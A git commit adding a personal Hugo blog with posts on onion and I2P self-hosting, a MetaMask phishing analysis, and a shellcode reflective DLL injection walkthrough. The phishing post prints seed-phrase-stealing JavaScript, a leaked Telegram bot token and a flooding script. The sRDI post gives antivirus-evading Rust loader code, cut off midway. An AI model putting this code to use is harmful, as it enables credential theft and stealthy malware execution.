feat: rewrite using the thunderball theme

This commit is contained in:
ae 2024-12-09 22:55:36 +02:00
commit d5c6defaf9
Signed by: ae
GPG Key ID: 995EFD5C1B532B3E
32 changed files with 1366 additions and 0 deletions

3
.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
public/
.hugo_build.lock
/resources/_gen

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "themes/thunderball"]
path = themes/thunderball
url = https://git.umbrella.haus/ae/thunderball.git

6
content/blog/_index.md Normal file
View File

@ -0,0 +1,6 @@
+++
title = 'Blog'
date = 2023-11-13T13:23:38+02:00
draft = false
menu = 'main'
+++

View File

@ -0,0 +1,158 @@
+++
title = 'Spinning up a Dockerized Onion Mirror'
date = 2024-04-07T20:21:17+03:00
author = ''
draft = false
tags = ['tor', 'docker', 'privacy']
categories = ['self-hosting']
+++
I decided to spin up an [onion mirror of this website](http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion) just for the fun of it. Funnily enough hosting an onion service is actually easier than hosting a clearweb site.
When searching for information about Dockerizing onion services, I noticed that the guides found with quick web searches vary significantly in quality, especially from a security standpoint. This prompted me to compile my own notes and thoughts on the topic into this compact post.
## TL;DR
If you only want to use Tor as a rewriting proxy (i.e. client types in the v3 address, and the proxy serves the upstream clearweb site through Tor), [Onionspray](https://gitlab.torproject.org/tpo/onion-services/onionspray/) is a great choice.
For those who aren't concerned about fine-tuning or more in-depth details of the configuration, here's [a great repository to get started with](https://github.com/ha1fdan/hidden-service-docker) that I also used as the base for my setup. The compose configuration found in the repository manually installs the newest available version of Tor, which is much better than relying on the image's contributors to update it in a premade image.
If you want a vanity v3 address, you can use a tool like [mkp2240](https://github.com/cathugger/mkp224o).
## Setup
Here's the slightly modified `docker-compose.yml` I use:
```yaml
services:
tor:
image: alpine:latest
container_name: tor
command: sh -c "apk update && apk add --no-cache tor && chmod 700 /var/lib/tor/onion-service && chown -R root:root /var/lib/tor && (cat /var/lib/tor/onion-service/hostname || echo 'Hostname not available.') && tor -f /etc/tor/torrc"
volumes:
- ./tor:/etc/tor:rw
- ./onion-mirror:/var/lib/tor/onion-service:rw
- nginx-tor-socket:/var/run/onion-sockets:rw
depends_on:
- nginx
restart: unless-stopped
nginx:
image: nginx:latest
container_name: nginx-onion
command:
volumes:
- ./web/config/onion-default.conf:/etc/nginx/conf.d/default.conf:rw
- ./web/public:/usr/share/nginx/html:ro
- nginx-tor-socket:/var/run/onion-sockets:rw
healthcheck:
test:
[
"CMD",
"curl",
"-f",
"--unix-socket",
"/var/run/onion-sockets/site.sock",
"||",
"exit 1",
]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
volumes:
nginx-tor-socket:
```
Combined with a minimal nginx configuration and `torrc`:
```text
server {
listen unix:/var/run/onion-sockets/site.sock;
server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion;
access_log off;
server_tokens off;
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options SAMEORIGIN;
proxy_hide_header X-Powered-By;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
```
```text
HiddenServiceDir /var/lib/tor/onion-service/
HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock
```
## In-depth configuration
Despite my use case being quite casual, I still wanted to follow [the best practices of hosting an onion service](https://riseup.net/en/security/network-security/tor/onionservices-best-practices).
### Service isolation
As recommended in the Riseup guide, it's crucial to carefully isolate clearweb services from the onion ones to prevent any unwanted information leaks. For more critical services, it's definitely worth hosting them in a completely different location with only a minimal number of public-facing ports open. Personally, I solved this by spinning up an individual nginx container that essentially hosts a separate copy of this site.
### Sockets over TCP
Since Tor doesn't require binding to physical ports, there's no need to worry about conflicting ports. Instead, it's worth to consider using Unix sockets for local communication rather than TCP. Unix sockets can reduce the overhead of TCP/IP networking by allowing local inter-process communication to occur through the file system. They can also offer a bit more security by not accidentally exposing services through network ports (although this is already quite easily manageable with containers as long as you don't mix up the ports of different services).
```text
HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock
```
```text
server {
listen unix:/var/run/onion-sockets/site.sock;
server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion;
}
```
### Do you need TLS?
Most of the time, there's no need for a TLS certificate with an onion service. As [this section](https://community.torproject.org/onion-services/advanced/https/) well describes, you might lose more than you gain: many CAs don't support the .onion TLD, and third-party certificates might unintentionally leak .onion names. Fortunately, you can now get DV certificates (instead of EV certificates) for onion sites from the Greek non-profit HARICA. However, support from Let's Encrypt CA is still missing.
The few benefits of having a certificate include using the `https` URI scheme and ensuring the traffic from your web server to Tor is encrypted (which could be especially useful if the instances aren't running on the same machine).
### Onionscan
[Onionscan](https://onionscan.org/) is the Tor Project's contributors' recommendation for detecting possible misconfigurations or information leaks. The original project is practically abandoned, but here's [an up-to-date fork](https://github.com/415ALS/onionscanv3) with v3 address support.
### Onion-Location
To take advantage of Tor Browser's Onion-Location redirection, you should add the following response header to your clearweb site's configuration:
```text
add_header Onion-Location http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion$request_uri;
```
Or alternatively include an HTML `<meta>` attribute:
```html
<meta
http-equiv="onion-location"
content="http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion"
/>
```
Notably, with proxying enabled through Cloudflare, I encountered difficulties in getting the response headers to pass through to the client, necessitating the use of the `<meta>` attribute instead.
## Resources
I highly recommend checking out the sites I browsed while figuring this stuff out, especially [The Onion Services Ecosystem](https://tpo.pages.torproject.net/onion-services/ecosystem/):
- [Tor Project's Guide on Setting Up Onion Service](https://community.torproject.org/onion-services/setup/)
- [Tor Project's Tips on Operational Security](https://community.torproject.org/onion-services/advanced/opsec/)
- [Tor Project's Tips on HTTPS for Onion Services](https://community.torproject.org/onion-services/advanced/https/)
- [Riseup's Best Practices Guide](https://riseup.net/en/security/network-security/tor/onionservices-best-practices)
- [Introduction to Onionspray](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/onionspray/)
- [Tor Project's Onionsite Checklist](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/checklist/)
- ["Connect two NGINX's through UNIX sockets" by David Sierra](https://blog.davidsierra.dev/posts/connect-nginxs-through-sockets/)
- ["Create a complete Tor Onion Service with Docker and OpenSUSE in less than 15 minutes" by Jason S. Evans](https://www.youtube.com/watch?v=iUxiTk6w1sc)
- [Onionscan Documentation](https://onionscan.org/)

View File

@ -0,0 +1,55 @@
+++
title = 'Welcome to the Invisible Internet! — Setting up I2P on a VPS'
date = 2024-11-17T18:49:59+02:00
author = ''
draft = false
tags = ['i2p', 'docker', 'privacy']
categories = ['self-hosting']
+++
A major hurdle for the wider adoption of the I2P protocol is the same as with many other purely P2P protocols: you need to reach a certain peer connectivity level before anything becomes usable. For example, [this Mental Outlaw video](https://youtu.be/KhG29riqVUE) about I2P shows that it can take many hours of waiting before most eepsites become accessible. This is drastically different from e.g. Tor, which is basically plug-and-play.
Setting up I2P on a remote VPS and port forwarding that connection with SSH provides a robust solution to this problem, as the client being online 24/7 guarantees excellent connectivity.
## Setting up I2P
It's advisable to create a separate `.env` file and set the `EXT_PORT` environment variable there (this is the exposed host port where I2NP will be reachable, i.e. it must also be unblocked from the firewall).
The advertised memory usage for I2P's JVM is 128 MB, but it's still good to set a cap using the `JVM_XMX` environment variable. Additionally, the `i2ptorrents:i2psnark` volume can be commented out if you don't need BitTorrent support. See the [official documentation](https://github.com/i2p/i2p.i2p/blob/master/Docker.md) for more information on possible configuration options.
```yaml
services:
i2p:
image: geti2p/i2p
container_name: i2p
restart: unless-stopped
ports:
- ${EXT_PORT}:${EXT_PORT}/tcp
- ${EXT_PORT}:${EXT_PORT}/udp
volumes:
- ${PWD}/i2pconfig:/i2p/.i2p:rw # Mandatory configs
- ${PWD}/i2ptorrents:/i2psnark:rw # Torrenting support
environment:
JVM_XMX: 256m
EXT_PORT: ${EXT_PORT:?host port must be manually set}
```
Once the container is fully configured, run `docker compose up -d` and check the `i2p` container's logs. You should see something like this (there should be no warnings about the connection being firewalled):
```
Starting I2P
[startapp] Running in container
[startapp] Running in docker network
[startapp] setting reachable IP to container IP 172.18.0.1
Starting I2P 2.7.0-0
```
## Connecting via an SSH tunnel
The `AllowTcpForwarding` variable in the OpenSSH configuration (`/etc/ssh/sshd_config`) defaults to `yes`, but must be modified if explicitly set to `no`. After this the following command can be used to start the tunnel in the background (implied by `-f` and `-n` flags):
```shell
ssh -fnN -L [LOCAL_PORT]:[CONTAINER_LOCAL_IP]:[REMOTE_PORT] [USERNAME]@[VPS_IP]
```
Once the container is booted up for the first time, the installation setup must be completed by accessing the router console via port `7657`. Then, configure the I2P proxy via port `4444` to your browser and you're ready to go. If you want to configure any additional services, here's the [complete list of the ports used by I2P](https://geti2p.net/en/docs/ports).

View File

@ -0,0 +1,162 @@
+++
title = 'Exploration of a Random MetaMask Phishing Campaign'
date = 2024-10-27T21:04:50+02:00
author = ''
draft = false
tags = ['phishing']
categories = ['random']
+++
A few days ago, I received a pretty credible-looking MetaMask phishing email stating that my account had been locked due to an attempt to connect a new device to it. Too bad I don't even own a MetaMask account, but despite that, I decided to spend a bit of time and look into how the whole campaign worked, as I rarely receive any kind of spam nowadays.
![Picture of the original email message](/images/metamask-phishing-exploration/email.png)
## Email attachment
The attached HTML file `RemovedDevice.html` contained a bare-bones HTML structure with a bit of JS and a long Base64 encoded string which the attached script would decode and use jQuery to attach it back to the website body.
```javascript
$(document).ready(function () {
saveFile();
});
function saveFile(name, type, data) {
if (data != null && navigator.msSaveBlob)
return navigator.msSaveBlob(new Blob([data], { type: type }), name);
var a = $("<a style='display: none;'/>");
var encodedStringAtoB = "<base64-encoded-string>";
var decodedStringAtoB = atob(encodedStringAtoB);
const myBlob = new Blob([decodedStringAtoB], { type: "text/html" });
const url = window.URL.createObjectURL(myBlob);
a.attr("href", url);
$("body").append(a);
a[0].click();
window.URL.revokeObjectURL(url);
a.remove();
}
```
The resulting webpage would display 12/15/18/21/24 input fields for a crypto wallet seed phrases of various lengths.
The campaign operator was using Telegram as the backend, but didn't apparently care enough to even attempt to hide the API token and chat ID from the source with some obfuscation logic. Additionally it's also clear that the data was being exfiltrated into a private chat based on the chat ID format (private chats don't have a dash prefix, whereas supergroups and channels have a `-100` prefix).
```javascript
// Add your telegram token,chatid
const token = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0";
const chatId = "7839331161";
```
Before sending the collected information to the Telegram chat, the JavaScript code would also make a quick `GET` request to `ipinfo.io` to get the victim's public IP and related location data. This information would probably be used to pick a proxy for the wallet draining stage.
```javascript
wordForm1.addEventListener("submit", (e) => {
e.preventDefault();
errbox.classList.add("hide");
let regex = /[!`@#$~%^&*()\-+={}[\]:;"'<>,.?\/|\\]/;
let regex2 = /\d/;
let pass = false;
for (let i = 0; i < word12Input.length; i++) {
if (regex.test(word12Input[i].value) || regex2.test(word12Input[i].value)) {
pass = true;
}
}
if (pass) {
errbox.classList.remove("hide");
} else {
if (
word12_1.value === "" ||
word12_2.value === "" ||
word12_3.value === "" ||
word12_4.value === "" ||
word12_5.value === "" ||
word12_6.value === "" ||
word12_7.value === "" ||
word12_8.value === "" ||
word12_9.value === "" ||
word12_10.value === "" ||
word12_11.value === "" ||
word12_12.value === ""
) {
btncofirm1.disabled = true;
} else {
preloader.classList.remove("hide");
let data = `IP: ${ip.ip}\nRegion: ${ip.region}\nTime Zone: ${ip.timezone}\nWord 1: ${word12_1.value} \nWord 2: ${word12_2.value} \nWord 3: ${word12_3.value} \nWord 4: ${word12_4.value} \nWord 5: ${word12_5.value} \nWord 6: ${word12_6.value} \nWord 7: ${word12_7.value} \nWord 8: ${word12_8.value} \nWord 9: ${word12_9.value} \nWord 10: ${word12_10.value} \nWord 11: ${word12_11.value} \nWord 12: ${word12_12.value}`;
postData(data);
setTimeout(() => {
preloader.classList.add("hide");
noDone.classList.add("hide");
done.classList.remove("hide");
timer2(10);
}, 4000);
}
}
});
```
## Greetings
After discovering the valid token from the source, I had a sudden urge to try it out 🤔. I began with a simple `getMe` request:
```json
{
"ok": true,
"result": {
"id": 7686154983,
"is_bot": true,
"first_name": "wegomakeit",
"username": "wegomakeit_bot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
```
And then proceeded to something a bit more interesting:
```python
import random
import requests
from time import sleep
from address import generate_residential_ip
from phrase import generate_seed_phrase, bip39_words
TOKEN = "7686154983:AAFtpdY6iTjT7UiTK6cXh0fM2T4CKfjRHl0"
CHAT_ID = "7839331161"
API_BASE_URL = f"https://api.telegram.org/bot{TOKEN}"
def construct_msg(words):
ip, region, timezone = generate_residential_ip()
phrase = generate_seed_phrase(words, random.choice([12, 15, 18, 21, 24]))
ip_str = f"IP: {ip}\nRegion: {region}\nTime Zone: {timezone}\n"
phrase_str = ""
for i, w in enumerate(phrase):
w_str = f"Word {i + 1}: {w} \n"
phrase_str += w_str
return ip_str + phrase_str
def send_msg(words, chat_id):
payload = {"chat_id": chat_id, "text": construct_msg(words)}
res = requests.post(f"{API_BASE_URL}/sendMessage", data=payload)
print(res.text)
words = bip39_words()
while True:
send_msg(words, CHAT_ID)
sleep(random.randint(1, 10))
```
In the end I was able to send roughly 10k messages before the person behind the campaign revoked the API token. I hope he'll have a fun time trying to sort out the legitimate responses from the ones I sent.

View File

@ -0,0 +1,666 @@
+++
title = 'Walkthrough of Shellcode Reflective DLL Injection (sRDI)'
date = 2023-12-09T20:42:26+02:00
author = ''
draft = false
tags = ['windows', 'srdi']
categories = ['exploits']
+++
In the ever-evolving landscape of malware, Shellcode Reflective DLL Injection (RDI) stands as a formidable technique despite its age, distinguished by its stealth and efficiency. Unlike traditional DLL injection methods, which often leave apparent traces for AV systems to detect, RDI operates on a more subtle level. Basically it challenges typical defensive solutions such as behavior monitoring, heuristics, or signature-based detection.
Implementing a reflective loader myself provided a great insight into PE files and Windows API, and it is definitely a good initial foothold into more advanced techniques.
## Steps
1. Execution is passed to the loader from a separate injector, that injects the shellcode containing both loader and payload into the target process's memory space (e.g. with `VirtualAlloc`).
2. The reflective loader parses the process's `kernel32.dll` to calculate the addresses of the functions required for relocation and execution.
3. The loader allocates a continuous region of memory to load its own image into.
4. The loader relocates itself into the allocated memory region with the help of its headers.
5. The loader resolves the imports and patches them into the relocated image's Import Address Table according to the previously gotten function addresses.
6. The loader applies appropriate protections on each relocated section.
7. The loader calls the relocated image's entry point `DllMain` with `DLL_PROCESS_ATTACH`.
## Implementation
The complete implementation can be found from [the Gitea repository](https://git.umbrella.haus/ae/airborne). The following explanations focus on the loader itself as the supporting components (process injector, shellcode generator, and payload) are basically just pasted from existing implementations mentioned in the [references](#references).
The following helper functions are utilized to make the RVA calculations a bit easier to read:
```rust
fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
(base_ptr as usize + offset) as *mut T
}
fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
(base_ptr as usize + offset) as *const T
}
```
### Locating modules
The loading process begins by locating the modules and their exports needed to perform the subsequent stages of the injection. A prime target is `kernel32.dll`, a core module in Windows.
Each Windows thread possesses a Thread Environment Block (TEB), which, among other thread specific data, points to a Process Environment Block (PEB). The PEB contains a `PEB_LDR_DATA` structure, cataloging user-mode modules loaded in the process. Crucially, it also features a `InLoadOrderModuleList` field, that points to a doubly linked list enumerating these modules by their load order:
```rust
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct PEB_LDR_DATA {
pub Length: u32,
pub Initialized: BOOLEAN,
pub SsHandle: HANDLE,
pub InLoadOrderModuleList: LIST_ENTRY,
pub InMemoryOrderModuleList: LIST_ENTRY,
pub InInitializationOrderModuleList: LIST_ENTRY,
pub EntryInProgress: *mut c_void,
pub ShutdownInProgress: BOOLEAN,
pub ShutdownThreadId: HANDLE,
}
#[repr(C)]
#[allow(non_snake_case)]
pub union LDR_DATA_TABLE_ENTRY_u1 {
pub InInitializationOrderLinks: LIST_ENTRY,
pub InProgressLinks: LIST_ENTRY,
}
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct LDR_DATA_TABLE_ENTRY {
pub InLoadOrderLinks: LIST_ENTRY,
pub InMemoryOrderLinks: LIST_ENTRY,
pub u1: LDR_DATA_TABLE_ENTRY_u1,
pub DllBase: *mut c_void,
pub EntryPoint: PLDR_INIT_ROUTINE,
pub SizeOfImage: u32,
pub FullDllName: UNICODE_STRING,
pub BaseDllName: UNICODE_STRING,
}
```
By iterating through this list, we can locate the module we're looking for. This step is pivotal in the process, as it allows us to call necessary functions exported from `kernel32.dll` with indirect function calls.
To illustrate, let's examine a set of functions that locate the PEB and traverse the `InLoadOrderModuleList`. Notably we also hash the strings containing the names of the modules (and the exported functions in the next step) to make static analysis a bit more difficult:
```rust
#[link_section = ".text"]
unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
// first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
// InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
let peb_ptr = get_peb_ptr();
let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
let mut table_entry_ptr =
(*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
while !(*table_entry_ptr).DllBase.is_null() {
let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it
if module_hash == airborne_common::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _);
}
table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
None
}
#[link_section = ".text"]
unsafe fn get_peb_ptr() -> *mut PEB {
// TEB located at offset 0x30 from the GS register on 64-bit
let teb: *mut TEB;
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
(*teb).ProcessEnvironmentBlock as *mut PEB
}
```
### Locating exports
After locating the base address of `kernel32.dll`, our next step is to identify the addresses of the specific functions we need. This requires an understanding of the Windows Portable Executable (PE) file format.
A PE file is structured into various components, including the DOS Header, DOS Stub, NT Headers, and a Section Table, which houses the actual file contents in segments like `.text` and `.data`. Our focus is on the Export Directory located within the NT Headers, a section that lists exported functions and their addresses. We can access the Export Directory by utilizing the `IMAGE_DIRECTORY_ENTRY_EXPORT` offset within the `IMAGE_DATA_DIRECTORY`.
![Image of the PE file structure](/images/understanding-srdi/pe-file-structure.png)
Similar to how we navigated through modules, we now iterate through the Export Directory entries to locate our required functions. This way we're able to bypass the usual API call mechanisms that could trigger security alerts:
```rust
#[link_section = ".text"]
unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
// NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
let export_dir_ptr = (module_base_ptr as usize
+ (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let funcs = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let ords = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
// compare hashes iteratively for each entry
for i in 0..(*export_dir_ptr).NumberOfNames {
let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_common::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
}
}
None
}
#[link_section = ".text"]
unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
return None;
}
let nt_headers_ptr =
(module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
return None;
}
Some(nt_headers_ptr)
}
```
### Allocating memory
Having successfully 'imported' the necessary functions (and storing their pointers into `far_procs` struct), we proceed to allocate memory for our payload shellcode within the target process. This is done using `VirtualAlloc`, with the allocated memory granted RW permissions.
The payloads NT Headers contain an `ImageBase` field, indicating the preferred loading address (in which case the imports wouldn't have to be resolved in the later steps). Initially, we can attempt to allocate memory at this address, but if unsuccessfull, we can pass `NULL` as the `lpAddress` parameter to allow `VirtualAlloc` to pick an appropriate location. In the end the specific memory address isn't critical, as the loader will handle any necessary relocations later in the execution process.
The allocation step itself is really simple and only requires the payload size:
```rust
#[link_section = ".text"]
#[no_mangle]
#[allow(clippy::missing_safety_doc)]
pub unsafe extern "system" fn loader(
payload_dll: *mut c_void,
function_hash: u32,
user_data: *mut c_void,
user_data_len: u32,
_shellcode_bin: *mut c_void,
flags: u32,
) {
// ...
let module_base_ptr = payload_dll as *mut u8;
if module_base_ptr.is_null() {
return;
}
let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
let module_nt_headers_ptr = (module_base_ptr as usize
+ (*module_dos_header_ptr).e_lfanew as usize)
as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr =
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
// ...
}
#[link_section = ".text"]
unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void,
alloc_size: usize,
far_procs: &FarProcs,
) -> Option<*mut c_void> {
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr,
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
// fallback: attempt to allocate at any address if preferred address is unavailable
if base_addr_ptr.is_null() {
base_addr_ptr = (far_procs.VirtualAlloc)(
null_mut(),
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
}
if base_addr_ptr.is_null() {
return None;
}
Some(base_addr_ptr)
}
```
### Copying sections
After the allocation, we can proceed to copying the payload PE's sections and headers to the new memory section based on the `NumberOfSections` field of the payload's `IMAGE_FILE_HEADER`:
```rust
#[link_section = ".text"]
unsafe fn copy_pe(
new_base_ptr: *mut c_void,
old_base_ptr: *mut u8,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
) {
let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
+ (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
as *mut IMAGE_SECTION_HEADER;
// PE sections one by one
for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
let header_i_ref = &*(section_header_ptr.add(i as usize));
let dst_ptr = new_base_ptr
.cast::<u8>()
.add(header_i_ref.VirtualAddress as usize);
let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
let raw_size = header_i_ref.SizeOfRawData as usize;
let src_data_slice = from_raw_parts(src_ptr, raw_size);
(0..raw_size).for_each(|x| {
let src = src_data_slice[x];
let dst = dst_ptr.add(x);
*dst = src;
});
}
// PE headers
for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
let dst = new_base_ptr as *mut u8;
let src = old_base_ptr as *const u8;
*dst.add(i as usize) = *src.add(i as usize);
}
}
```
### Processing image relocations
Most likely the payload won't be loaded into the preferred memory location, thus we need to address the image relocations.
The necessary relocation data resides in the payload's NT Headers, within the Data Directory, specifically at the `IMAGE_DIRECTORY_ENTRY_BASERELOC` index. This base relocation table comprises entries each with a `VirtualAddress` field. We apply the delta, which is the difference between the allocated memory location and the preferred memory location, to these addresses. Additionally, we must factor in the offset specified in each table item:
```rust
#[link_section = ".text"]
unsafe fn process_relocations(
base_addr_ptr: *mut c_void,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
) {
let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
// upper bound prevents accessing memory past the end of the relocation data
let relocation_end = relocation_ptr as usize
+ data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
while (*relocation_ptr).VirtualAddress != 0
&& ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
&& (*relocation_ptr).SizeOfBlock != 0
{
// relocation address, first entry, and number of entries in the whole block
let addr = rva::<isize>(
base_addr_ptr as _,
(*relocation_ptr).VirtualAddress as usize,
) as isize;
let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
/ size_of::<u16>();
for i in 0..count {
// high bits -> type, low bits -> offset
let type_field = (item.add(i).read() >> 12) as u32;
let offset = item.add(i).read() & 0xFFF;
match type_field {
IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
*((addr + offset as isize) as *mut isize) += delta;
}
_ => {}
}
}
relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
}
}
```
### Resolving the imports
Now, to ensure the payload functions correctly, we must resolve its external dependencies by processing the import table.
In the DLL's Data Directory, we focus on the `IMAGE_DIRECTORY_ENTRY_IMPORT` index, where the import directory resides. This directory contains an array of `IMAGE_IMPORT_DESCRIPTOR` structures, each representing a DLL from which the module imports functions.
During this step we also utilize shuffling and sleep calls to obfuscate the execution flow. First we shuffle the import descriptors with [FisherYates in-place shuffle](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle):
```rust
let mut id_ptr = import_descriptor_ptr;
let mut import_count = 0;
while (*id_ptr).Name != 0 {
import_count += 1;
id_ptr = id_ptr.add(1);
}
let id_ptr = import_descriptor_ptr;
if import_count > 1 && flags.shuffle {
// Fisher-Yates shuffle
for i in 0..import_count - 1 {
let rn = match get_random(far_procs) {
Some(rn) => rn,
None => return 0,
};
let gap = import_count - i;
let j_u64 = i + (rn % gap);
let j = j_u64.min(import_count - 1);
id_ptr.offset(j as _).swap(id_ptr.offset(i as _));
}
}
```
Then, during the iteration, we call `BCryptGenRandom` with `BCRYPT_RNG_ALG_HANDLE` as `hAlgorithm` parameter to generate a random sleep duration for each iteration:
```rust
if flags.delay {
// skip delay if winapi call fails
let rn = get_random(far_procs).unwrap_or(0);
let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _);
}
#[link_section = ".text"]
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE,
buffer.as_mut_ptr(),
buffer.len() as _,
0,
);
if status != STATUS_SUCCESS {
return None;
}
Some(u64::from_le_bytes(buffer))
}
```
These DLLs are loaded into the process's address space using `LoadLibraryA`:
```rust
let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
);
if import_descriptor_ptr.is_null() {
return;
}
while (*import_descriptor_ptr).Name != 0x0 {
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() {
return 0;
}
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 {
return 0;
}
// ...
}
```
Next, the we must resolve the addresses of the imported functions, essentially patching the Import Address Table (IAT). This involves utilizing the `OriginalFirstThunk`, the Relative Virtual Address (RVA) of the Import Lookup Table (ILT), which points to an array of `IMAGE_THUNK_DATA64` structures. These structures contain information about the imported functions, either as names or ordinal numbers. The `FirstThunk`, in contrast, represents the IAT's RVA, where resolved addresses are updated. Thunks here serve as vital intermediaries, ensuring the correct linking of function calls within the payload.
In processing these `IMAGE_THUNK_DATA64` structures, we need to distinguish between named and ordinal imports. For ordinal imports, the function address is retrieved via `GetProcAddress` using the ordinal number. For named imports, the function's name is obtained from `IMAGE_IMPORT_BY_NAME`, referenced in the `AddressOfData` field of `IMAGE_THUNK_DATA64`, and its address is resolved likewise.
Once obtained, the function address is written back into the corresponding `FirstThunk` entry, effectively redirecting the payload's function calls to the appropriate addresses:
```rust
while (*import_descriptor_ptr).Name != 0x0 {
// ...
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
!= 0
{
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
)
} else {
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
)
};
